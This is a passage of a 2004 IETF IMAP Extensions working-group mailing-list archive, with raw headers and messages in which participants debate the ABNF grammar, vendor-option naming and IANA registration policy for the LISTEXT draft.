"multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-5-17155930.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-imapext-list-extensions-06.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-imapext-list-extensions-06.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-5-17155930.I-D@ietf.org> --OtherAccess-- --NextPart-- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4HGi8qB085320; Mon, 17 May 2004 09:44:08 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4HGi8GW085319; Mon, 17 May 2004 09:44:08 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from smtp-test.andrew.cmu.edu (SMTP-TEST.andrew.cmu.edu [128.2.6.59]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4HGi6Lo085311 for ; Mon, 17 May 2004 09:44:07 -0700 (PDT) (envelope-from rjs3@andrew.cmu.edu) Received: from SOURCEFOUR.andrew.cmu.edu (SOURCEFOUR.andrew.cmu.edu [128.2.122.8]) (user=rjs3 mech=GSSAPI (0 bits)) by smtp-test.andrew.cmu.edu (8.12.10/8.12.10) with ESMTP id i4HGi6af009591; Mon, 17 May 2004 12:44:06 -0400 Date: Mon, 17 May 2004 12:44:06 -0400 (EDT) From: Rob Siemborski To: Tony Hansen cc: Alexey Melnikov , IMAP Extensions WG Subject: Re: Update to LISTEXT draft In-Reply-To: <40A82163.2020604@att.com> Message-ID: References: <40A6A0CD.5020200@isode.com> <40A82163.2020604@att.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: On Sun, 16 May 2004, Tony Hansen wrote: > A couple of comments: > > Other vendor namespaces have all used "vnd". Why pick something different? Which ones are you referring to? The ANNOTATE and ANNOTATEMORE extensions use /vendor > All other vendor namespaces I can think of are of have one of these two > registration policies: 1) the vendor namespace is registered with IANA, but > individual options under the namespace are NOT registered with IANA, or 2) the > vendor namespace is based on the vendor's domain name and no registration with > IANA is neessary. Why does IANA have to register ALL options? Why not use one of > these registration policies? Offhand, I'm fine with either of these policies (and prefer them to having to register all of the options -- if there's some hope of interoperability for an option, it should just be created in the normal way). -Rob -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rob Siemborski | Andrew Systems Group * Research Systems Programmer PGP:0x5CE32FCC | Cyert Hall 207 * rjs3@andrew.cmu.edu * 412.268.7456 -----BEGIN GEEK CODE BLOCK---- Version: 3.12 GCS/IT/CM/PA d- s+: a-- C++++$ ULS++++$ P+++$ L+++ E W+ N(-) o? K- w-- O- M-- V-- PS+ PE+ Y+ PGP+ t+@ 5+++ X- R@ tv-- b+ DI+++ D++ G e++ h+ r- y? ------END GEEK CODE BLOCK----- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4H2KNle034118; Sun, 16 May 2004 19:20:23 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4H2KNlG034117; Sun, 16 May 2004 19:20:23 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from ckmso2.proxy.att.com (ckmso2.att.com [209.219.209.75]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4H2KKfN033918 for ; Sun, 16 May 2004 19:20:21 -0700 (PDT) (envelope-from tony@att.com) Received: from maillennium.att.com ([135.25.114.99]) by ckmso2.proxy.att.com (AT&T IPNS/MSO-5.5) with ESMTP id i4H2KK3w008057 for ; Sun, 16 May 2004 22:20:20 -0400 Received: from att.com (unknown[135.210.73.25](misconfigured sender)) by maillennium.att.com (mailgw1) with ESMTP id <20040517021921gw100882vce> (Authid: tony); Mon, 17 May 2004 02:19:21 +0000 Message-ID: <40A82163.2020604@att.com> Date: Sun, 16 May 2004 22:20:19 -0400 From: Tony Hansen User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) X-Accept-Language: en-us, en, es MIME-Version: 1.0 To: Alexey Melnikov CC: IMAP Extensions WG Subject: Re: Update to LISTEXT draft References: <40A6A0CD.5020200@isode.com> In-Reply-To: <40A6A0CD.5020200@isode.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Alexey Melnikov wrote: > > I've also added some text regarding option/extended data item naming. > The text reads: > A LISTEXT option/extended data item name that starts with "V-" is > reserved > for vendor specific options/extended data items. All options, whether > they are vendor specific or global, should be registered with IANA. > If a LISTEXT extended data item is returned as a result of requesting > a particular LISTEXT option, the name of the option SHOULD be used > as the name of the LISTEXT extended data item. > LISTEXT option/extended data item names are case insensitive. > > Please, let me know if you agree/disagree. > > 5) Added Vendor prefix in "options" and "extended data tags". A couple of comments: Other vendor namespaces have all used "vnd". Why pick something different? All other vendor namespaces I can think of are of have one of these two registration policies: 1) the vendor namespace is registered with IANA, but individual options under the namespace are NOT registered with IANA, or 2) the vendor namespace is based on the vendor's domain name and no registration with IANA is neessary. Why does IANA have to register ALL options? Why not use one of these registration policies? Tony Hansen tony@att.com Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4GL4sGl014823; Sun, 16 May 2004 14:04:54 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4GL4sge014822; Sun, 16 May 2004 14:04:54 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4GL4roo014812 for ; Sun, 16 May 2004 14:04:53 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (1Cust23.tnt9.lnd4.gbr.da.uu.net [62.188.138.23]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Sun, 16 May 2004 22:04:39 +0100 Message-ID: <40A6A0CD.5020200@isode.com> Date: Sat, 15 May 2004 23:59:25 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: IMAP Extensions WG Subject: Update to LISTEXT draft Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: I've just sent an update to the LISTEXT draft. Please, read this message as it contains some important changes. In brief, it contains the following changes/additions: 1) Added a section that summarizes what a LISTEXT implementation has to implement. 2) Removed LIST-SUBSCRIBED capability, now it is a part of LISTEXT. 3) Updated ABNF as per recent discussion (Rob's suggestion as modified by Philip). This also includes changing the first parameter of mbox-list-extended-item-data to be atom. 4) Added IANA consideration section. This is mostly cut and paste from draft-ietf-sasl-rfc2222bis-07.txt and changing "SASL mechanism" to "LISTEXT option/extended data item" where appropriate. I've also added 2 new IANA registration templates (one for LISTEXT option and one for LISTEXT extended data item) and 3 initial registrations for the options described in the document. I've also added some text regarding option/extended data item naming. The text reads: A LISTEXT option/extended data item name that starts with "V-" is reserved for vendor specific options/extended data items. All options, whether they are vendor specific or global, should be registered with IANA. If a LISTEXT extended data item is returned as a result of requesting a particular LISTEXT option, the name of the option SHOULD be used as the name of the LISTEXT extended data item. LISTEXT option/extended data item names are case insensitive. Please, let me know if you agree/disagree. 5) Added Vendor prefix in "options" and "extended data tags". 6) Add a note saying that a client implementation which doesn't recognize a particular mbox-list-extended-item-data type MUST ignore it. 7) I've added a sentence saying: "This documents obsoletes RFC 3348 and updates RFC 2193". Do people agree? Maybe the statement regarding RFC 3348 (Children extension) is too strong? (A revision of the RFC 2193 will obsolete the RFC 2193, LISTEXT only updates it). If you got to this point, here some news: I consider the document to be ready for the WG Last Call. Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4CJZOxv050257; Wed, 12 May 2004 12:35:24 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4CJZOkq050256; Wed, 12 May 2004 12:35:24 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from spork.sendmail.com (spork.sendmail.com [209.246.26.39]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4CJZJeM050239 for ; Wed, 12 May 2004 12:35:19 -0700 (PDT) (envelope-from guenther@sendmail.com) Received: from foon.sendmail.com (smtp.sendmail.com [209.246.26.40]) by spork.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i4CJZLvF023883 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Wed, 12 May 2004 12:35:21 -0700 (PDT) Received: from lab.smi.sendmail.com ([10.210.100.93]) by foon.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i4CJZKEC020714 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Wed, 12 May 2004 12:35:21 -0700 Received: from lab.smi.sendmail.com (localhost [127.0.0.1]) by lab.smi.sendmail.com (8.12.9/8.12.9) with ESMTP id i4CJZKHe059282; Wed, 12 May 2004 12:35:20 -0700 (PDT) (envelope-from guenther@lab.smi.sendmail.com) Message-Id: <200405121935.i4CJZKHe059282@lab.smi.sendmail.com> To: Alexey Melnikov From: Philip Guenther Cc: IMAP Extensions WG Subject: Re: Short summary of LISTEXT changes In-reply-to: <40A272E0.60109@isode.com> References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> <409E1480.2010402@isode.com> <40A1066A.4000107@oceana.com> <200405112121.i4BLLCHe088603@lab.smi.sendmail.com> <200405120017.i4C0HnHe099044@lab.smi.sendmail.com> <40A272E0.60109@isode.com> Date: Wed, 12 May 2004 12:35:20 -0700 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Alexey Melnikov writes: >Philip Guenther wrote: ... >>Oh, and I think there was another typo: mbox-list-extended-item-data >>should be defined to use astring instead of string so that the first >>thing in each extended item can be an atom. >> >Maybe, but if you look at ACL2, it uses the existing syntax ;-). The examples use a string instead of an atom, but that doesn't show whether it's an astring or nstring. ;-) Hmm, looking back at previous messages, I see that your examples for the REFERRAL extended data sent "REFERRAL" as a string, but your ABNF showed it as an atom. >>Hmm, actually, I would support using 'atom' there and require that it >>match the atom in the LIST argument list that caused it to appear. >> >> >So you want to change mbox-list-extended-item-data to be: > > mbox-list-extended-item-data = option SP simple-nstring-list Exactly. I would like to back off of my previous remark about requiring it to match the LIST option that made it appear, in the sense that the server should be allowed to include items in the mbox-list-extended data that were not unsolicited in the LIST command. >I am wondering if there would be any cases where "atom" is not sufficient? The requirement would only be for that first item that 'tags' each toplevel entry in the mbox-list-extended. An extension built on LISTEXT that could send arbitrary data in every position of its mbox-list-extended-item would be impossible to recognize reliably, as it might 'accidentally' send data that looked like a referral or an ACL. Philip Guenther Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4CIsm11047399; Wed, 12 May 2004 11:54:48 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4CIsmHo047398; Wed, 12 May 2004 11:54:48 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4CIsldA047389 for ; Wed, 12 May 2004 11:54:47 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Wed, 12 May 2004 19:54:25 +0100 Message-ID: <40A272E0.60109@isode.com> Date: Wed, 12 May 2004 19:54:24 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Phlip Guenther CC: IMAP Extensions WG Subject: Re: Short summary of LISTEXT changes References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> <409E1480.2010402@isode.com> <40A1066A.4000107@oceana.com> <200405112121.i4BLLCHe088603@lab.smi.sendmail.com> <200405120017.i4C0HnHe099044@lab.smi.sendmail.com> In-Reply-To: <200405120017.i4C0HnHe099044@lab.smi.sendmail.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Phlip Guenther wrote: >Rob Siemborski writes: > > >>Its probably reasonable to also permit the empty list -- I didn't think >>too hard about that. >> >> > >Okay, so wrap the list contents in brackets. > > simple-nstring-list = nstring / > "(" [simple-nstring-list *(SP simple-nstring-list)] ")" > ;; a recursive list definition > > >Oh, and I think there was another typo: mbox-list-extended-item-data >should be defined to use astring instead of string so that the first >thing in each extended item can be an atom. > Maybe, but if you look at ACL2, it uses the existing syntax ;-). > mbox-list-extended-item-data = astring SP simple-nstring-list > >Hmm, actually, I would support using 'atom' there and require that it >match the atom in the LIST argument list that caused it to appear. > > So you want to change mbox-list-extended-item-data to be: mbox-list-extended-item-data = option SP simple-nstring-list where option = "SUBSCRIBED" / "CHILDREN" / "REMOTE" / option-extension option-extension = atom ? I am wondering if there would be any cases where "atom" is not sufficient? Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4CDcpbn022612; Wed, 12 May 2004 06:38:51 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4CDcpih022611; Wed, 12 May 2004 06:38:51 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4CDcltP022601 for ; Wed, 12 May 2004 06:38:50 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Wed, 12 May 2004 14:38:47 +0100 Message-ID: <40A1F1A1.9000607@isode.com> Date: Wed, 12 May 2004 10:42:57 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Cyrus Daboo CC: IMAP Extensions WG Subject: Re: Do a list last call on annotate docs? References: <0904BD6844289616790F846A@ninevah.cyrusoft.com> In-Reply-To: <0904BD6844289616790F846A@ninevah.cyrusoft.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Cyrus Daboo wrote: > Hi folks, > Recently new versions of the two annotate documents were posted. If > the chairs agree, I think we should do a list last call on these and > progress them through the draft process. Have we resolved the issue with SORT interaction? Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4C0HkMO074928; Tue, 11 May 2004 17:17:46 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4C0Hk9B074927; Tue, 11 May 2004 17:17:46 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from spork.sendmail.com (spork.sendmail.com [209.246.26.39]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4C0HkFN074920 for ; Tue, 11 May 2004 17:17:46 -0700 (PDT) (envelope-from guenther@sendmail.com) Received: from foon.sendmail.com (smtp.sendmail.com [209.246.26.40]) by spork.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i4C0HngP029275 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK) for ; Tue, 11 May 2004 17:17:49 -0700 (PDT) Received: from lab.smi.sendmail.com ([10.210.100.93]) by foon.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i4C0HnMv003186 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK) for ; Tue, 11 May 2004 17:17:49 -0700 Received: from lab.smi.sendmail.com (localhost [127.0.0.1]) by lab.smi.sendmail.com (8.12.9/8.12.9) with ESMTP id i4C0HnHe099044 for ; Tue, 11 May 2004 17:17:49 -0700 (PDT) (envelope-from guenther@lab.smi.sendmail.com) Message-Id: <200405120017.i4C0HnHe099044@lab.smi.sendmail.com> To: IMAP Extensions WG From: Phlip Guenther Subject: Re: Short summary of LISTEXT changes In-reply-to: References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> <409E1480.2010402@isode.com> <40A1066A.4000107@oceana.com> <200405112121.i4BLLCHe088603@lab.smi.sendmail.com> Date: Tue, 11 May 2004 17:17:49 -0700 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Rob Siemborski writes: >Its probably reasonable to also permit the empty list -- I didn't think >too hard about that. Okay, so wrap the list contents in brackets. simple-nstring-list = nstring / "(" [simple-nstring-list *(SP simple-nstring-list)] ")" ;; a recursive list definition Oh, and I think there was another typo: mbox-list-extended-item-data should be defined to use astring instead of string so that the first thing in each extended item can be an atom. mbox-list-extended-item-data = astring SP simple-nstring-list Hmm, actually, I would support using 'atom' there and require that it match the atom in the LIST argument list that caused it to appear. Philip Guenther Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BLRevB063448; Tue, 11 May 2004 14:27:40 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4BLRe2J063446; Tue, 11 May 2004 14:27:40 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from smtp-test.andrew.cmu.edu (SMTP-TEST.andrew.cmu.edu [128.2.10.114]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BLRdUU063438 for ; Tue, 11 May 2004 14:27:40 -0700 (PDT) (envelope-from rjs3@andrew.cmu.edu) Received: from SOURCEFOUR.andrew.cmu.edu (SOURCEFOUR.andrew.cmu.edu [128.2.122.8]) (user=rjs3 mech=GSSAPI (0 bits)) by smtp-test.andrew.cmu.edu (8.12.10/8.12.10) with ESMTP id i4BLRhln027599; Tue, 11 May 2004 17:27:43 -0400 Date: Tue, 11 May 2004 17:27:44 -0400 (EDT) From: Rob Siemborski To: Philip Guenther cc: Ken Murchison , Alexey Melnikov , IMAP Extensions WG Subject: Re: Short summary of LISTEXT changes In-Reply-To: <200405112121.i4BLLCHe088603@lab.smi.sendmail.com> Message-ID: References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> <409E1480.2010402@isode.com> <40A1066A.4000107@oceana.com> <200405112121.i4BLLCHe088603@lab.smi.sendmail.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: On Tue, 11 May 2004, Philip Guenther wrote: > Those changes seem fine to me, though losing the empty list to gain NIL > seems ironic, for some reason... Its probably reasonable to also permit the empty list -- I didn't think too hard about that. -Rob -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rob Siemborski | Andrew Systems Group * Research Systems Programmer PGP:0x5CE32FCC | Cyert Hall 207 * rjs3@andrew.cmu.edu * 412.268.7456 -----BEGIN GEEK CODE BLOCK---- Version: 3.12 GCS/IT/CM/PA d- s+: a-- C++++$ ULS++++$ P+++$ L+++ E W+ N(-) o? K- w-- O- M-- V-- PS+ PE+ Y+ PGP+ t+@ 5+++ X- R@ tv-- b+ DI+++ D++ G e++ h+ r- y? ------END GEEK CODE BLOCK----- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BLLCSD062970; Tue, 11 May 2004 14:21:12 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4BLLC17062969; Tue, 11 May 2004 14:21:12 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from spork.sendmail.com (spork.sendmail.com [209.246.26.39]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BLLCpl062961 for ; Tue, 11 May 2004 14:21:12 -0700 (PDT) (envelope-from guenther@sendmail.com) Received: from foon.sendmail.com (smtp.sendmail.com [209.246.26.40]) by spork.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i4BLLFSw011066 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Tue, 11 May 2004 14:21:15 -0700 (PDT) Received: from lab.smi.sendmail.com ([10.210.100.93]) by foon.sendmail.com (Switch-3.1.4/Switch-3.1.0) with ESMTP id i4BLLF4U007356 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Tue, 11 May 2004 14:21:15 -0700 Received: from lab.smi.sendmail.com (localhost [127.0.0.1]) by lab.smi.sendmail.com (8.12.9/8.12.9) with ESMTP id i4BLLCHe088603; Tue, 11 May 2004 14:21:12 -0700 (PDT) (envelope-from guenther@lab.smi.sendmail.com) Message-Id: <200405112121.i4BLLCHe088603@lab.smi.sendmail.com> To: Rob Siemborski Cc: Ken Murchison , Alexey Melnikov , IMAP Extensions WG Subject: Re: Short summary of LISTEXT changes In-reply-to: References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> <409E1480.2010402@isode.com> <40A1066A.4000107@oceana.com> Date: Tue, 11 May 2004 14:21:12 -0700 From: Philip Guenther Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Rob Siemborski writes: >On Tue, 11 May 2004, Ken Murchison wrote: >> >> No objections (assuming ABNF is correct -- I haven't verified it). It had a typo (the "*" in simple-nstring-list should have been "1*") and, more seriously, had a shift/reduce conflict when trying to parse something like: ((FOO ("blip" "glarp"))) as the pair of strings there can be parsed as either an mbox-list-extended-item or a simple-nstring-list. Rob's suggestion fixes that nicely. >Well, one -- the ABNF is hideously ugly, and much more complicated than I >feel it needs to be to adequately describe what is probably necessary for >the extended item data. Most notably, there are two pairs of mutually >recursive productions, and I think it can be simplified down to: > > mbox-list-extended = "(" [mbox-list-extended-item > *(SP mbox-list-extended-item)] ")" > > mbox-list-extended-item = "(" mbox-list-extended-item-data ")" > > mbox-list-extended-item-data = string SP simple-nstring-list > > simple-nstring-list = nstring / > "(" simple-nstring-list *(SP simple-nstring-list) ")" > ;; a recursive list definition > >Without losing any *real* functionality. The only loss I see is the ability to have an empty list in the tree. I.e., the original accepted ((FOO ())) but this doesn't. In trade, it permits NIL to appear as the first item in any non-toplevel list, where the original didn't permit NIL to ever be the first item in a list and Alexey's recent grammar did only in simple-nstring-list. Thus, the original grammar rejected both of these: ((FOO (NIL "blip"))) ((FOO ((NIL "blip")))) while Alexey's recent proposal rejected only the second and Rob's rejects neither. Those changes seem fine to me, though losing the empty list to gain NIL seems ironic, for some reason... Philip Guenther Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BKJ6Bo058399; Tue, 11 May 2004 13:19:06 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4BKJ6Wv058398; Tue, 11 May 2004 13:19:06 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from darius.cyrusoft.com (darius.cyrusoft.com [63.163.82.2]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BKJ63l058343 for ; Tue, 11 May 2004 13:19:06 -0700 (PDT) (envelope-from daboo@cyrusoft.com) Received: from ninevah.cyrusoft.com (ninevah.cyrusoft.com [63.163.82.9]) (authenticated bits=0) by darius.cyrusoft.com (8.12.9/8.12.9) with ESMTP id i4BKI922023739 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 11 May 2004 16:18:11 -0400 Date: Tue, 11 May 2004 16:19:04 -0400 From: Cyrus Daboo To: IMAP Extensions WG Subject: Do a list last call on annotate docs? Message-ID: <0904BD6844289616790F846A@ninevah.cyrusoft.com> X-Mailer: Mulberry/3.2.0a1 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Status: No, hits=0.0 tests=none Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Hi folks, Recently new versions of the two annotate documents were posted. If the chairs agree, I think we should do a list last call on these and progress them through the draft process. -- Cyrus Daboo Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BK3bP3056863; Tue, 11 May 2004 13:03:37 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4BK3bvP056862; Tue, 11 May 2004 13:03:37 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BK3agg056856 for ; Tue, 11 May 2004 13:03:36 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Tue, 11 May 2004 21:03:37 +0100 Message-ID: <40A13199.2020609@isode.com> Date: Tue, 11 May 2004 21:03:37 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Rob Siemborski CC: Ken Murchison , IMAP Extensions WG Subject: Re: Short summary of LISTEXT changes References: <407955E1.90005@isode.com> <409E0940.1030909@isode.com> <409E1480.2010402@isode.com> <40A1066A.4000107@oceana.com> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Rob Siemborski wrote: >On Tue, 11 May 2004, Ken Murchison wrote: > > >>No objections (assuming ABNF is correct -- I haven't verified it). >> >> >Me either. > >Well, one -- the ABNF is hideously ugly, and much more complicated than I >feel it needs to be to adequately describe what is probably necessary for >the extended item data. Most notably, there are two pairs of mutually >recursive productions, and I think it can be simplified down to: > > mbox-list-extended = "(" [mbox-list-extended-item > *(SP mbox-list-extended-item)] ")" > > mbox-list-extended-item = "(" mbox-list-extended-item-data ")" > > mbox-list-extended-item-data = string SP simple-nstring-list > > simple-nstring-list = nstring / > "(" simple-nstring-list *(SP simple-nstring-list) ")" > ;; a recursive list definition > >Without losing any *real* functionality. > That is fine with me. Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BJwDmu056515; Tue, 11 May 2004 12:58:13 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4BJwDZf056514; Tue, 11 May 2004 12:58:13 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from smtp-test.andrew.cmu.edu (SMTP-TEST.andrew.cmu.edu [128.2.10.114]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4BJwCGn056508 for ; Tue, 11 May 2004 12:58:12 -0700 (PDT) (envelope-from rjs3@andrew.cmu.edu) Received: from SOURCEFOUR.andrew.cmu.edu 